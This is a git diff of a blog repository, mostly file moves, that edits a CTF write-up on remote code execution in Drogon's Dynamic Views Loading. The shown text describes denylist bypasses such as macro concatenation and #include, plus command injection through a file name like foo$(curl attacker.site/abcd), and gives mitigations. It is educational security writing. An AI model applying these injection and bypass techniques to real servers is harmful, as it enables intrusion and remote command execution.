rename to content/posts/infosec/automating-boolean-sqli/assets/automating-boolean-sqli-thumbnail.png
diff --git a/content/posts/infosec/writeup-likes/assets/automating-sqli/login-success.png b/content/posts/infosec/automating-boolean-sqli/assets/login-success.png
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/automating-sqli/login-success.png
rename to content/posts/infosec/automating-boolean-sqli/assets/login-success.png
diff --git a/content/posts/infosec/writeup-likes/assets/automating-sqli/progress-bar.png b/content/posts/infosec/automating-boolean-sqli/assets/progress-bar.png
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/automating-sqli/progress-bar.png
rename to content/posts/infosec/automating-boolean-sqli/assets/progress-bar.png
diff --git a/content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md b/content/posts/infosec/drogon-csp/2024-08-18-abusing-server-side-rendering-in-drogon.md
similarity index 92%
rename from content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md
rename to content/posts/infosec/drogon-csp/2024-08-18-abusing-server-side-rendering-in-drogon.md
index e49a692cb..5efadd3b0 100644
--- a/content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md
+++ b/content/posts/infosec/drogon-csp/2024-08-18-abusing-server-side-rendering-in-drogon.md
@@ -1,5 +1,5 @@
---
-title: Dynamic Views Loading - Abusing Server Side Rendering in Drogon
+title: Dynamic Views Loading – Abusing Server Side Rendering in Drogon
excerpt: What could go wrong releasing a C++ web server with "live reload" into the wild?
tags:
- cpp
@@ -8,22 +8,22 @@ tags:
- programming
- notes
- writeup
-thumbnail_src: assets/drogon/drogon-thumbnail.png
+thumbnail_src: assets/drogon-thumbnail.png
thumbnail_banner: true
tocOptions: '{"tags":["h2","h3","h4"]}'
related:
posts: [attack-of-the-zip]
# preamble: |
---
-Earlier this month, I released two CTF web challenges for CrewCTF 2024: Nice View 1 and Nice View 2. These build upon an earlier challenge — an audio synthesis web service running on the Drogon Web Framework. This time, our focus shifts from [exploring zip attacks in Juce](/posts/attack-of-the-zip) to exploring an alarming configuration in Drogon: Dynamic Views Loading (hereafter abbreviated DVL).
+Earlier this month, I released two CTF web challenges for CrewCTF 2024: Nice View 1 and Nice View 2. These build upon an earlier challenge — an audio synthesis web service running on the Drogon Web Framework. This time, our focus shifts from [exploring zip attacks in Juce](/posts/attack-of-the-zip/) to exploring an alarming configuration in Drogon: Dynamic Views Loading (hereafter abbreviated DVL).
In a hypothetical situation where a Drogon server with DVL is exposed to hackers, how many holes can be poked? What attack vectors can be achieved?^[This situation may be less hypothetical than we think. According to Shodan, there are over 1000 servers around the world (mostly in East Asia) running Drogon. How many do you think were poorly configured, with devs thinking… “I’ll just enable Dynamic Views Loading for convenience. Nobody can find my IP anyway.” I’m willing to bet there’s at least 1.]
At the same time, this is also a good exercise in defensive programming. If we released such a server, what (programming) defences are necessary to cover our sorry arse? When and where should we apply sanitisation and filtering? How do we properly allow “safe” programs? Is that even possible to begin with?
-This turned out to be a fascinating endeavour, as there are a *ton* of ways to compromise a vulnerable DVL-enabled server. In the making of the CTF challenges, I struggled to eliminate every single unintended solution.
+This turned out to be a fascinating endeavour, as we found a *ton* of ways to compromise a vulnerable DVL-enabled server. In the making of the CTF challenges, I struggled to eliminate every single unintended solution.
-{% image "assets/drogon/craft-a-ctf-web-chal.jpg", "w-60", "Every time I find an unintended solution, a new one is just around the corner." %}
+{% image "assets/craft-a-ctf-web-chal.jpg", "w-60", "Every time I find an unintended solution, a new one is just around the corner." %}
Every time I find an unintended solution, a new one is just around the corner.{.caption}
@@ -101,7 +101,7 @@ After all, C++ is compiled, not interpreted.
But it's possible to load compiled code at runtime through [shared objects](https://en.wikipedia.org/wiki/Shared_library). These are specially-compiled files which can be loaded on-the-fly. In Drogon, the process goes like so:
-{% image "assets/drogon/drogon-dynamic-view-loading.png", "w-50 alpha-imgv", "Flow Chart of Dynamic Views Loading" %}
+{% image "assets/drogon-dynamic-view-loading.png", "w-50 alpha-imgv", "Flow Chart of Dynamic Views Loading" %}
Flow Chart of Dynamic Views Loading{.caption}
@@ -206,10 +206,12 @@ which generates Example.h and Example.cc.
There are countless attack vectors to address.
1. **RCE via Rendered CSP.** First, we'll start by looking at a simple PoC which triggers RCE when the view is rendered.
-2. **Bypasses.** We'll survey common C++ functions and tricks to bypass a denylist.
+2. **Bypasses.** We'll survey common functions and tricks to bypass a denylist.
3. **RCE via Init Section.** Here, we'll trigger RCE without rendering the view.
4. **RCE via File Name.** Finally, we'll discuss a harrowing insecurity in the DVL code path.
+Not all of these were exploitable in my CTF chals. I selected a few vectors which I thought were interesting.
+
### 1. RCE via Rendered CSP
Suppose an attacker can write any CSP content in the dynamic views path. In the simplest case where filtering or checking is non-existent, the attacker can execute malicious commands using the usual `system` and `execve` functions found in libc. This allows us to exfiltrate sensitive information and launch reverse shells.
@@ -225,7 +227,7 @@ To trigger this RCE, the application code needs to render the view with `HttpRes
The following diagram shows where code execution occurs along the pipeline. We'll update the diagram as we explore other vectors.
-{% image "assets/drogon/drogon-dynamic-view-loading-exec-on-render.png", "w-60 alpha-imgv", "Vanilla RCE with Drogon DVL: we can execute code with `<%c++`." %}
+{% image "assets/drogon-dynamic-view-loading-exec-on-render.png", "w-60 alpha-imgv", "Vanilla RCE with Drogon DVL: we can execute code with `<%c++`." %}
A simple and direct method of abusing CSPs. Execution occurs when the view is rendered, e.g. by calling `newHttpViewResponse`.{.caption}
@@ -370,8 +372,6 @@ Handy Reference: [Using Inline Assembly in C/C++](https://www.codeproject.com/Ar
Filters applied to a set of file extensions can be easily bypassed by uploading a file with an unfiltered extension, then `#include`-ing it in the CSP. All `#include` really does is copy-paste the included file's content, which then gets compiled as C/C++ code.
-Assume .csp files are strictly checked, while all other files don't go through the same checks.
-
- Example.csp - with stringent checks on denied words.
```cpp
<%inc #include "safe.txt" %>
@@ -379,6 +379,10 @@ Assume .csp files are strictly checked, while all other files don't go through t
- safe.txt - other C++ code which gets a free pass, possibly using a technique above.
+This allows us to bypass situations where, say, .csp files are strictly checked, but certain extensions are not checked at all.
+
+I'll admit this one slipped my mind and quite a few players discovered this unintended solution in the CTF chals.
+
#### Bypass with Macro Token Concatenation (`##`)
C/C++ macros have some quirky features:
@@ -400,7 +404,7 @@ C/C++ macros have some quirky features:
The second feature allows us to bypass denylists which only match full words.
-For instance, if a denylist blocks `system`, we can do `GLUE(s, ystem)`. For instance:
+For instance, if a denylist blocks `system`, we can do `GLUE(s, ystem)`.
```cpp
<%inc #define GLUE(X, Y) X ## Y %>
@@ -415,7 +419,7 @@ The previous tricks use `<%c++` which only executes when the view is rendered. B
That's right, all we need is to load the .so to execute code!
-{% image "assets/drogon/drogon-dynamic-view-loading-exec-on-init.png", "w-60 alpha-imgv", "Code can be executed right after loading the .so binary." %}
+{% image "assets/drogon-dynamic-view-loading-exec-on-init.png", "w-60 alpha-imgv", "Code can be executed right after loading the .so binary." %}
Using `<%c++` will execute code when "View is Rendered", but by strategically placing code in the `.init` section of the binary, we can get code to execute right after loading the .so!{.caption}
@@ -507,7 +511,7 @@ Remember how Drogon runs `drogon_ctl` to convert .csp files to .cc files? Guess
That’s right, `system()` is [called](https://github.com/drogonframework/drogon/blob/637046189653ea22e6c4b13d7f47023170fa01b1/lib/src/SharedLibManager.cc#L169). And since the CSP file name can be pretty much anything — subject to Linux’s file path conditions — we can inject arbitrary commands and achieve RCE!
-{% image "assets/drogon/drogon-dynamic-view-loading-exec-on-filename.png", "w-70 alpha-imgv", "Malicious code can be executed when `drogon_ctl` is run using the filename." %}
+{% image "assets/drogon-dynamic-view-loading-exec-on-filename.png", "w-70 alpha-imgv", "Malicious code can be executed when `drogon_ctl` is run using the filename." %}
Additionally, our command can contain slashes, since Drogon recursively scans subdirectories. A file named `foo$(curl attacker.site/abcd)` will be treated as a folder (`foo$(curl attacker.site/`) + a file (`abcd)`).
@@ -532,7 +536,7 @@ And mitigations?
- It doesn't matter if the view will be rendered in application code, because — [as we discovered earlier](#4-rce-via-file-name) — once `drogon_ctl` is run, an RCE endpoint is already exposed.
4. If, on the off chance, your environment accepts untrusted CSP files, you should consider using some filtering/denylist mechanism.
- If filtering is performed, it should happen before files are written to the dynamic views directory. Once files are written, it's (likely) too late: Drogon kicks in and devours the CSP.
- {% image "assets/drogon/drogon-dynamic-view-loading-defence.png", "w-70 alpha-imgv", "Defensive filtering, if any, should occur before CSP files are written." %}
+ {% image "assets/drogon-dynamic-view-loading-defence.png", "w-70 alpha-imgv", "Defensive filtering, if any, should occur before CSP files are written." %}
Defensive filtering, if any, should occur before CSP files are written.
diff --git a/content/posts/infosec/writeup-likes/assets/drogon/craft-a-ctf-web-chal.jpg b/content/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal.jpg
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/drogon/craft-a-ctf-web-chal.jpg
rename to content/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal.jpg
diff --git a/content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-defence.png b/content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence.png
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-defence.png
rename to content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence.png
diff --git a/content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-exec-on-filename.png b/content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename.png
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-exec-on-filename.png
rename to content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename.png
diff --git a/content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-exec-on-init.png b/content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-init.png
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-exec-on-init.png
rename to content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-init.png
diff --git a/content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-exec-on-render.png b/content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render.png
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-exec-on-render.png
rename to content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render.png
diff --git a/content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading.png b/content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading.png
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading.png
rename to content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading.png
diff --git a/content/posts/infosec/writeup-likes/assets/drogon/drogon-thumbnail.png b/content/posts/infosec/drogon-csp/assets/drogon-thumbnail.png
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/drogon/drogon-thumbnail.png
rename to content/posts/infosec/drogon-csp/assets/drogon-thumbnail.png
diff --git a/content/posts/programming/concepts/2022-10-15-implicit-parameters-in-scala-and-haskell.md b/content/posts/programming/concepts/implicit-parameters/2022-10-15-implicit-parameters-in-scala-and-haskell.md
similarity index 99%
rename from content/posts/programming/concepts/2022-10-15-implicit-parameters-in-scala-and-haskell.md
rename to content/posts/programming/concepts/implicit-parameters/2022-10-15-implicit-parameters-in-scala-and-haskell.md
index f5a09d6a0..47c31872f 100644
--- a/content/posts/programming/concepts/2022-10-15-implicit-parameters-in-scala-and-haskell.md
+++ b/content/posts/programming/concepts/implicit-parameters/2022-10-15-implicit-parameters-in-scala-and-haskell.md
@@ -7,7 +7,7 @@ tags:
- scala
- haskell
- cpp
-thumbnail_src: assets/implicits-thumbnail.jpg
+thumbnail_src: assets/thumbnail.jpg
related:
tags: [programming]
---
diff --git a/content/posts/programming/concepts/assets/implicits.jpg b/content/posts/programming/concepts/implicit-parameters/assets/implicits.jpg
similarity index 100%
rename from content/posts/programming/concepts/assets/implicits.jpg
rename to content/posts/programming/concepts/implicit-parameters/assets/implicits.jpg
diff --git a/content/posts/programming/concepts/assets/implicits-thumbnail.jpg b/content/posts/programming/concepts/implicit-parameters/assets/thumbnail.jpg
similarity index 100%
rename from content/posts/programming/concepts/assets/implicits-thumbnail.jpg
rename to content/posts/programming/concepts/implicit-parameters/assets/thumbnail.jpg
diff --git a/content/posts/programming/concepts/2023-04-24-the-mathematics-of-types.md b/content/posts/programming/concepts/mathematics-of-types/2023-04-24-the-mathematics-of-types.md
similarity index 99%
rename from content/posts/programming/concepts/2023-04-24-the-mathematics-of-types.md
rename to content/posts/programming/concepts/mathematics-of-types/2023-04-24-the-mathematics-of-types.md
index 896d226dd..a41d60482 100644
--- a/content/posts/programming/concepts/2023-04-24-the-mathematics-of-types.md
+++ b/content/posts/programming/concepts/mathematics-of-types/2023-04-24-the-mathematics-of-types.md
@@ -8,7 +8,7 @@ tags:
- functional
- software-engineering
- programming-languages
-thumbnail_src: assets/abstract.jpg
+thumbnail_src: assets/thumbnail.jpg
# thumbnail_banner: true
use_math: true
related:
diff --git a/content/posts/programming/concepts/assets/sheesh-sum-types.jpg b/content/posts/programming/concepts/mathematics-of-types/assets/sheesh-sum-types.jpg
similarity index 100%
rename from content/posts/programming/concepts/assets/sheesh-sum-types.jpg
rename to content/posts/programming/concepts/mathematics-of-types/assets/sheesh-sum-types.jpg
diff --git a/content/posts/programming/concepts/assets/abstract.jpg b/content/posts/programming/concepts/mathematics-of-types/assets/thumbnail.jpg
similarity index 100%
rename from content/posts/programming/concepts/assets/abstract.jpg
rename to content/posts/programming/concepts/mathematics-of-types/assets/thumbnail.jpg
diff --git a/content/posts/programming/concepts/assets/wild-types.jpg b/content/posts/programming/concepts/mathematics-of-types/assets/wild-types.jpg
similarity index 100%
rename from content/posts/programming/concepts/assets/wild-types.jpg
rename to content/posts/programming/concepts/mathematics-of-types/assets/wild-types.jpg
diff --git a/content/posts/programming/concepts/2023-10-02-subtype-metaprogramming-is-mostly-harmless.md b/content/posts/programming/concepts/subtype-metaprogramming/2023-10-02-subtype-metaprogramming-is-mostly-harmless.md
similarity index 100%
rename from content/posts/programming/concepts/2023-10-02-subtype-metaprogramming-is-mostly-harmless.md
rename to content/posts/programming/concepts/subtype-metaprogramming/2023-10-02-subtype-metaprogramming-is-mostly-harmless.md
diff --git a/content/posts/programming/concepts/assets/doge-much-class.jpg b/content/posts/programming/concepts/subtype-metaprogramming/assets/doge-much-class.jpg
similarity index 100%
rename from content/posts/programming/concepts/assets/doge-much-class.jpg
rename to content/posts/programming/concepts/subtype-metaprogramming/assets/doge-much-class.jpg
diff --git a/content/posts/programming/concepts/assets/magic.jpg b/content/posts/programming/concepts/subtype-metaprogramming/assets/magic.jpg
similarity index 100%
rename from content/posts/programming/concepts/assets/magic.jpg
rename to content/posts/programming/concepts/subtype-metaprogramming/assets/magic.jpg
diff --git a/content/posts/programming/concepts/assets/output.jpg b/content/posts/programming/concepts/subtype-metaprogramming/assets/output.jpg
similarity index 100%
rename from content/posts/programming/concepts/assets/output.jpg
rename to content/posts/programming/concepts/subtype-metaprogramming/assets/output.jpg
diff --git a/content/posts/programming/concepts/assets/shocker.jpg b/content/posts/programming/concepts/subtype-metaprogramming/assets/shocker.jpg
similarity index 100%
rename from content/posts/programming/concepts/assets/shocker.jpg
rename to content/posts/programming/concepts/subtype-metaprogramming/assets/shocker.jpg
diff --git a/content/posts/programming/concepts/assets/table1.png b/content/posts/programming/concepts/subtype-metaprogramming/assets/table1.png
similarity index 100%
rename from content/posts/programming/concepts/assets/table1.png
rename to content/posts/programming/concepts/subtype-metaprogramming/assets/table1.png
diff --git a/content/posts/programming/concepts/assets/table4.png b/content/posts/programming/concepts/subtype-metaprogramming/assets/table4.png
similarity index 100%
rename from content/posts/programming/concepts/assets/table4.png
rename to content/posts/programming/concepts/subtype-metaprogramming/assets/table4.png
diff --git a/content/posts/programming/concepts/assets/thumbnail.jpg b/content/posts/programming/concepts/subtype-metaprogramming/assets/thumbnail.jpg
similarity index 100%
rename from content/posts/programming/concepts/assets/thumbnail.jpg
rename to content/posts/programming/concepts/subtype-metaprogramming/assets/thumbnail.jpg
diff --git a/content/posts/programming/mini-projects/2024-05-23-optimising-web-icons-for-fun.md b/content/posts/programming/mini-projects/optimising-web-icons/2024-05-23-optimising-web-icons-for-fun.md
similarity index 95%
rename from content/posts/programming/mini-projects/2024-05-23-optimising-web-icons-for-fun.md
rename to content/posts/programming/mini-projects/optimising-web-icons/2024-05-23-optimising-web-icons-for-fun.md
index 7bebc5743..1f4bffb17 100644
--- a/content/posts/programming/mini-projects/2024-05-23-optimising-web-icons-for-fun.md
+++ b/content/posts/programming/mini-projects/optimising-web-icons/2024-05-23-optimising-web-icons-for-fun.md
@@ -7,14 +7,14 @@ tags:
- meta
- notes
- writeup
-thumbnail_src: assets/webicons/icons-thumbnail.png
+thumbnail_src: assets/optimising-web-icons-thumbnail.png
---
I decided to spend this Labour Day doing a bit of frontend performance engineering, learning Typescript along the way. I've been eyeing my Font Awesome (FA) assets for a while, and lately they've been a curious itch.
Here’s the dealio: icon webfonts are known to bundle *all* icons. This includes icons we don't use. For Font Awesome, this means the browser downloads 19kB CSS + 287kB WOFF2 gzipped data. But my site just uses 40 out of 2000… why download so much?^[287kB gzipped comes from fa-brands, plus fa-regular, plus fa-solid. Fortunately, these variants are only downloaded if used. 2000 icons just counts solid, regular, and brands. Imagine the number of icons if premium FA was used!]
-{% image "assets/webicons/fonts-are-pretty-heavy.jpg", "w-50", "I present you the heaviest objects in the universe: Font Files." %}
+{% image "assets/fonts-are-pretty-heavy.jpg", "w-50", "I present you the heaviest objects in the universe: Font Files." %}
I should take a step back. There are generally two established ways to handle icons on the web: 1) webfonts (plus CSS), and 2) inline SVGs (Scalable Vector Graphics). As its name suggests, SVGs scale nicely to any screen size and remove the need for font files. Both have their [use cases](https://blog.fontawesome.com/webfont-vs-svg/), but the modern web recommends SVGs for general cases.
@@ -124,7 +124,7 @@ After integrating the minification into my build process, I excitedly waited for
But even after refreshing multiple times, the **Time to First Byte (TTFB)** was roughly the same compared to loading the original files.
-{% image "assets/webicons/y-server-no-fast.jpg", "w-60", "Server - why u no fast?" %}
+{% image "assets/y-server-no-fast.jpg", "w-60", "Server - why u no fast?" %}
The answer? CDN.
@@ -171,15 +171,15 @@ You're probably thinking — come on, it's just 8kB, are you masochistic? And my
By default, Cloudflare Pages has a browser cache time of 4 hours. We can change this duration by modifying the `Cache-Control` header.
-{% image "assets/webicons/cloudflare-create-cache-busting-rule.png", "", "Creating a cache busting rule in Cloudflare. Cloudflare allows us to configure based on URI patterns." %}
+{% image "assets/cloudflare-create-cache-busting-rule.png", "", "Creating a cache busting rule in Cloudflare. Cloudflare allows us to configure based on URI patterns." %}
Create a cache-busting rule for URI paths starting with `/cb/`.{.caption}
-{% image "assets/webicons/cloudflare-set-browser-ttl.png", "", "Configure the browser cache duration to 1 year." %}
+{% image "assets/cloudflare-set-browser-ttl.png", "", "Configure the browser cache duration to 1 year." %}
Set the cache time to 1 ~~century~~ year.{.caption}
-{% image "assets/webicons/cache-busting-works-in-browser.png", "", "We got the expected Cache Control header." %}
+{% image "assets/cache-busting-works-in-browser.png", "", "We got the expected Cache Control header." %}
It works!{.caption}
diff --git a/content/posts/programming/mini-projects/assets/webicons/cache-busting-works-in-browser.png b/content/posts/programming/mini-projects/optimising-web-icons/assets/cache-busting-works-in-browser.png
similarity index 100%
rename from content/posts/programming/mini-projects/assets/webicons/cache-busting-works-in-browser.png
rename to content/posts/programming/mini-projects/optimising-web-icons/assets/cache-busting-works-in-browser.png
diff --git a/content/posts/programming/mini-projects/assets/webicons/cloudflare-create-cache-busting-rule.png b/content/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-create-cache-busting-rule.png
similarity index 100%
rename from content/posts/programming/mini-projects/assets/webicons/cloudflare-create-cache-busting-rule.png
rename to content/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-create-cache-busting-rule.png
diff --git a/content/posts/programming/mini-projects/assets/webicons/cloudflare-set-browser-ttl.png b/content/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-set-browser-ttl.png
similarity index 100%
rename from content/posts/programming/mini-projects/assets/webicons/cloudflare-set-browser-ttl.png
rename to content/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-set-browser-ttl.png
diff --git a/content/posts/programming/mini-projects/assets/webicons/fonts-are-pretty-heavy.jpg b/content/posts/programming/mini-projects/optimising-web-icons/assets/fonts-are-pretty-heavy.jpg
similarity index 100%
rename from content/posts/programming/mini-projects/assets/webicons/fonts-are-pretty-heavy.jpg
rename to content/posts/programming/mini-projects/optimising-web-icons/assets/fonts-are-pretty-heavy.jpg
diff --git a/content/posts/programming/mini-projects/assets/webicons/icons-thumbnail.png b/content/posts/programming/mini-projects/optimising-web-icons/assets/optimising-web-icons-thumbnail.png
similarity index 100%
rename from content/posts/programming/mini-projects/assets/webicons/icons-thumbnail.png
rename to content/posts/programming/mini-projects/optimising-web-icons/assets/optimising-web-icons-thumbnail.png
diff --git a/content/posts/programming/mini-projects/assets/webicons/y-server-no-fast.jpg b/content/posts/programming/mini-projects/optimising-web-icons/assets/y-server-no-fast.jpg
similarity index 100%
rename from content/posts/programming/mini-projects/assets/webicons/y-server-no-fast.jpg
rename to content/posts/programming/mini-projects/optimising-web-icons/assets/y-server-no-fast.jpg
diff --git a/eleventy.config.js b/eleventy.config.js
index eb397ea8e..73b078cce 100644
--- a/eleventy.config.js
+++ b/eleventy.config.js
@@ -175,8 +175,8 @@ module.exports = function (eleventyConfig) {
// These are all optional:
dir: {
input: 'content', // default: "."
- includes: '../_includes', // default: "_includes"
- data: '../_data', // default: "_data"
+ includes: '../partials/_includes', // default: "_includes"
+ data: '../partials/_data', // default: "_data"
output: '_site',
},
diff --git a/_data/csp.js b/partials/_data/csp.js
similarity index 100%
rename from _data/csp.js
rename to partials/_data/csp.js
diff --git a/_data/feedtags.js b/partials/_data/feedtags.js
similarity index 100%
rename from _data/feedtags.js
rename to partials/_data/feedtags.js
diff --git a/_data/profile.yml b/partials/_data/profile.yml
similarity index 100%
rename from _data/profile.yml
rename to partials/_data/profile.yml
diff --git a/_data/site.js b/partials/_data/site.js
similarity index 100%
rename from _data/site.js
rename to partials/_data/site.js
diff --git a/_includes/author/social-links.html b/partials/_includes/author/social-links.html
similarity index 100%
rename from _includes/author/social-links.html
rename to partials/_includes/author/social-links.html
diff --git a/_includes/author/social.html b/partials/_includes/author/social.html
similarity index 100%
rename from _includes/author/social.html
rename to partials/_includes/author/social.html
diff --git a/_includes/banner.html b/partials/_includes/banner.html
similarity index 100%
rename from _includes/banner.html
rename to partials/_includes/banner.html
diff --git a/_includes/footer.html b/partials/_includes/footer.html
similarity index 100%
rename from _includes/footer.html
rename to partials/_includes/footer.html
diff --git a/_includes/head.html b/partials/_includes/head.html
similarity index 100%
rename from _includes/head.html
rename to partials/_includes/head.html
diff --git a/_includes/header.html b/partials/_includes/header.html
similarity index 100%
rename from _includes/header.html
rename to partials/_includes/header.html
diff --git a/_includes/home/about-me.html b/partials/_includes/home/about-me.html
similarity index 100%
rename from _includes/home/about-me.html
rename to partials/_includes/home/about-me.html
diff --git a/_includes/home/contact-form.html b/partials/_includes/home/contact-form.html
similarity index 100%
rename from _includes/home/contact-form.html
rename to partials/_includes/home/contact-form.html
diff --git a/_includes/home/contact.html b/partials/_includes/home/contact.html
similarity index 100%
rename from _includes/home/contact.html
rename to partials/_includes/home/contact.html
diff --git a/_includes/home/hero.html b/partials/_includes/home/hero.html
similarity index 100%
rename from _includes/home/hero.html
rename to partials/_includes/home/hero.html
diff --git a/_includes/home/recents.html b/partials/_includes/home/recents.html
similarity index 100%
rename from _includes/home/recents.html
rename to partials/_includes/home/recents.html
diff --git a/_includes/home/topic-preview.html b/partials/_includes/home/topic-preview.html
similarity index 100%
rename from _includes/home/topic-preview.html
rename to partials/_includes/home/topic-preview.html
diff --git a/_includes/layouts/default-container.njk b/partials/_includes/layouts/default-container.njk
similarity index 100%
rename from _includes/layouts/default-container.njk
rename to partials/_includes/layouts/default-container.njk
diff --git a/_includes/layouts/default-full.njk b/partials/_includes/layouts/default-full.njk
similarity index 100%
rename from _includes/layouts/default-full.njk
rename to partials/_includes/layouts/default-full.njk
diff --git a/_includes/layouts/default.njk b/partials/_includes/layouts/default.njk
similarity index 100%
rename from _includes/layouts/default.njk
rename to partials/_includes/layouts/default.njk
diff --git a/_includes/layouts/feed.njk b/partials/_includes/layouts/feed.njk
similarity index 100%
rename from _includes/layouts/feed.njk
rename to partials/_includes/layouts/feed.njk
diff --git a/_includes/layouts/page-default.njk b/partials/_includes/layouts/page-default.njk
similarity index 100%
rename from _includes/layouts/page-default.njk
rename to partials/_includes/layouts/page-default.njk
diff --git a/_includes/layouts/page-simple.njk b/partials/_includes/layouts/page-simple.njk
similarity index 100%
rename from _includes/layouts/page-simple.njk
rename to partials/_includes/layouts/page-simple.njk
diff --git a/_includes/layouts/page-tag.njk b/partials/_includes/layouts/page-tag.njk
similarity index 100%
rename from _includes/layouts/page-tag.njk
rename to partials/_includes/layouts/page-tag.njk
diff --git a/_includes/layouts/post-default.njk b/partials/_includes/layouts/post-default.njk
similarity index 100%
rename from _includes/layouts/post-default.njk
rename to partials/_includes/layouts/post-default.njk
diff --git a/_includes/layouts/post-music.njk b/partials/_includes/layouts/post-music.njk
similarity index 100%
rename from _includes/layouts/post-music.njk
rename to partials/_includes/layouts/post-music.njk
diff --git a/_includes/layouts/profile.njk b/partials/_includes/layouts/profile.njk
similarity index 100%
rename from _includes/layouts/profile.njk
rename to partials/_includes/layouts/profile.njk
diff --git a/_includes/pagination-links.html b/partials/_includes/pagination-links.html
similarity index 100%
rename from _includes/pagination-links.html
rename to partials/_includes/pagination-links.html
diff --git a/_includes/post/article.html b/partials/_includes/post/article.html
similarity index 100%
rename from _includes/post/article.html
rename to partials/_includes/post/article.html
diff --git a/_includes/post/carousel.html b/partials/_includes/post/carousel.html
similarity index 100%
rename from _includes/post/carousel.html
rename to partials/_includes/post/carousel.html
diff --git a/_includes/post/comments.html b/partials/_includes/post/comments.html
similarity index 100%
rename from _includes/post/comments.html
rename to partials/_includes/post/comments.html
diff --git a/_includes/post/metadata-preview.html b/partials/_includes/post/metadata-preview.html
similarity index 100%
rename from _includes/post/metadata-preview.html
rename to partials/_includes/post/metadata-preview.html
diff --git a/_includes/post/metadata.html b/partials/_includes/post/metadata.html
similarity index 100%
rename from _includes/post/metadata.html
rename to partials/_includes/post/metadata.html
diff --git a/_includes/post/preview.html b/partials/_includes/post/preview.html
similarity index 100%
rename from _includes/post/preview.html
rename to partials/_includes/post/preview.html
diff --git a/_includes/post/related.html b/partials/_includes/post/related.html
similarity index 100%
rename from _includes/post/related.html
rename to partials/_includes/post/related.html
diff --git a/_includes/post/share.html b/partials/_includes/post/share.html
similarity index 100%
rename from _includes/post/share.html
rename to partials/_includes/post/share.html
diff --git a/_includes/sidebars/sidebar-utils.html b/partials/_includes/sidebars/sidebar-utils.html
similarity index 100%
rename from _includes/sidebars/sidebar-utils.html
rename to partials/_includes/sidebars/sidebar-utils.html
diff --git a/_includes/sidebars/tag-cloud-grouped-sidebar.html b/partials/_includes/sidebars/tag-cloud-grouped-sidebar.html
similarity index 100%
rename from _includes/sidebars/tag-cloud-grouped-sidebar.html
rename to partials/_includes/sidebars/tag-cloud-grouped-sidebar.html
diff --git a/_includes/sidebars/toc-sidebar.html b/partials/_includes/sidebars/toc-sidebar.html
similarity index 100%
rename from _includes/sidebars/toc-sidebar.html
rename to partials/_includes/sidebars/toc-sidebar.html
diff --git a/_includes/tag-cloud.html b/partials/_includes/tag-cloud.html
similarity index 100%
rename from _includes/tag-cloud.html
rename to partials/_includes/tag-cloud.html
diff --git a/_includes/tag.html b/partials/_includes/tag.html
similarity index 100%
rename from _includes/tag.html
rename to partials/_includes/tag.html
diff --git a/_includes/toc.html b/partials/_includes/toc.html
similarity index 100%
rename from _includes/toc.html
rename to partials/_includes/toc.html
diff --git a/_includes/track.html b/partials/_includes/track.html
similarity index 100%
rename from _includes/track.html
rename to partials/_includes/track.html
diff --git a/_includes/utilities/analytics.html b/partials/_includes/utilities/analytics.html
similarity index 100%
rename from _includes/utilities/analytics.html
rename to partials/_includes/utilities/analytics.html
diff --git a/_includes/utilities/async-css.html b/partials/_includes/utilities/async-css.html
similarity index 100%
rename from _includes/utilities/async-css.html
rename to partials/_includes/utilities/async-css.html
diff --git a/_includes/utilities/bundle-js.html b/partials/_includes/utilities/bundle-js.html
similarity index 100%
rename from _includes/utilities/bundle-js.html
rename to partials/_includes/utilities/bundle-js.html
diff --git a/_includes/utilities/disqus.html b/partials/_includes/utilities/disqus.html
similarity index 100%
rename from _includes/utilities/disqus.html
rename to partials/_includes/utilities/disqus.html
diff --git a/_includes/utilities/katex.html b/partials/_includes/utilities/katex.html
similarity index 100%
rename from _includes/utilities/katex.html
rename to partials/_includes/utilities/katex.html
diff --git a/_includes/utilities/mathjax.html b/partials/_includes/utilities/mathjax.html
similarity index 100%
rename from _includes/utilities/mathjax.html
rename to partials/_includes/utilities/mathjax.html
diff --git a/_includes/utilities/metadata-article.html b/partials/_includes/utilities/metadata-article.html
similarity index 100%
rename from _includes/utilities/metadata-article.html
rename to partials/_includes/utilities/metadata-article.html
diff --git a/_includes/utilities/metadata.html b/partials/_includes/utilities/metadata.html
similarity index 100%
rename from _includes/utilities/metadata.html
rename to partials/_includes/utilities/metadata.html
